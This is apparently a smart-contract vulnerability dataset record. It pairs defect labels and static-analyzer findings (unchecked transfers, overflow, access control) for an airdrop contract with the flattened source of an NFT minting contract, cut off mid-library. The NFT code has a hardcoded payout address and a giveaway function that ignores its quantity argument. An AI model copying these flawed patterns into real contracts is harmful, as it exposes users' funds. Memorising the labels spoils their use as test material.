token.transfer(owner, balance); selfdestruct(owner); } }
[{"defect": "Transaction_order_dependency", "type": "Business_logic", "severity": "Medium", "lines": ["89"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["52", "62", "63"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["16"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["63"]}]
[{"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"VoiceAirdrop.sol": [16, 17, 18, 19]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"VoiceAirdrop.sol": [86, 87, 88, 89, 90, 91]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"VoiceAirdrop.sol": [1]}}, {"check": "events-access", "impact": "Low", "confidence": "Medium", "lines": {"VoiceAirdrop.sol": [18]}}, {"check": "calls-loop", "impact": "Low", "confidence": "Medium", "lines": {"VoiceAirdrop.sol": [74]}}, {"check": "calls-loop", "impact": "Low", "confidence": "Medium", "lines": {"VoiceAirdrop.sol": [83]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"VoiceAirdrop.sol": [65]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"VoiceAirdrop.sol": [55]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"VoiceAirdrop.sol": [75]}}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium", "lines": {"VoiceAirdrop.sol": [89]}}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium", "lines": {"VoiceAirdrop.sol": [74]}}]
[]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 41, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 24, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 45, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 82, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 53, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 64, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 53, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 64, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 55, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 65, "severity": 3}, {"rule": "SOLIDITY_VISIBILITY", "line": 29, "severity": 1}]
[{"constant":true,"inputs":[],"name":"isActive","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"dests","type":"address[]"},{"name":"value","type":"uint256"}],"name":"sendTokensSingleValue","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"tokensAvailable","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"destroy","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"dests","type":"address[]"},{"name":"values","type":"uint256[]"}],"name":"sendTokens","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"TransferredToken","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"FailedTransfer","type":"event"}]
v0.4.25+commit.59dbf8f1
true
200
Default
false
bzzr://d2da836c9101d388e4a5dbcf36423144cf082fd5c39d48f5aa738c52a5445434
CactusFrens
0x43ace043aa8f6482a2a15eec93ad8e5acb9ebe05
Solidity
// File: contracts/CactusFrens.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.2; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; contract CactusFrens is ERC721, ERC721Enumerable, Ownable { using Counters for Counters.Counter; using Strings for uint256; uint256 public constant MAX_SUPPLY = 1500; uint256 public constant MINTING_COST = 0.05 ether; uint256 public constant MINTING_LIMIT = 18; address private c; address payable public b = payable(0x7bAEBf759Ac7998Eb7dB59822968B497C4A4d5e2); address payable public a; Counters.Counter private _tokenIdCounter; string public baseURI; bool public saleOn = false; bool internal locked; modifier noReentrancy() { require(!locked, "No reentrancy"); locked = true; _; locked = false; } constructor() ERC721("CactusFrens", "FREN") { a = payable(msg.sender); } function safeMint(address to) internal { _safeMint(to, _tokenIdCounter.current()); _tokenIdCounter.increment(); } function mintGiveaway(address[] memory to, uint256[] memory qty) public { require( msg.sender == owner() || msg.sender == c, "you need permission" ); require(to.length == qty.length); for (uint256 i = 0; i < to.length; i++) { require(qty[i] <= 10, "too much"); safeMint(to[i]); } } function mint() public payable noReentrancy { require(saleOn, "Sale not started"); require(msg.value >= MINTING_COST, "More ETH"); require(_tokenIdCounter.current() < (MAX_SUPPLY)); safeMint(msg.sender); } function mint(uint256 qty) public payable noReentrancy { require(saleOn, "Sale not started"); _mintBatch(msg.sender, qty); } function _mintBatch(address to, uint256 qty) internal { require(msg.value >= MINTING_COST * qty, "More ETH"); require(qty <= MINTING_LIMIT, "too much"); for (uint256 i = 0; i < qty; i++) { if (_tokenIdCounter.current() < (MAX_SUPPLY)) { safeMint(to); } } } function tokenURI(uint256 tokenId) public view override(ERC721) returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString(), ".json")) : tokenId.toString(); } function withdraw() public onlyOwner noReentrancy { _withdraw(); } function setb(address payable _b) public onlyOwner noReentrancy { b = _b; } function setc(address _c) public onlyOwner noReentrancy { c = _c; } function startSale(bool _turnOn) public onlyOwner { saleOn = _turnOn; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function _withdraw() internal { uint256 balance = address(this).balance; require(balance > 0); uint256 _a = balance / 2; uint256 _b = balance - _a; require(b.send(_b)); require(a.send(_a)); } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal override(ERC721, ERC721Enumerable) { super._beforeTokenTransfer(from, to, tokenId); } function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable) returns (bool) { return super.supportsInterface(interfaceId); } } // File: @openzeppelin/contracts/utils/Counters.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // File: @openzeppelin/contracts/access/Ownable.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/utils/Strings.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/utils/Address.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as 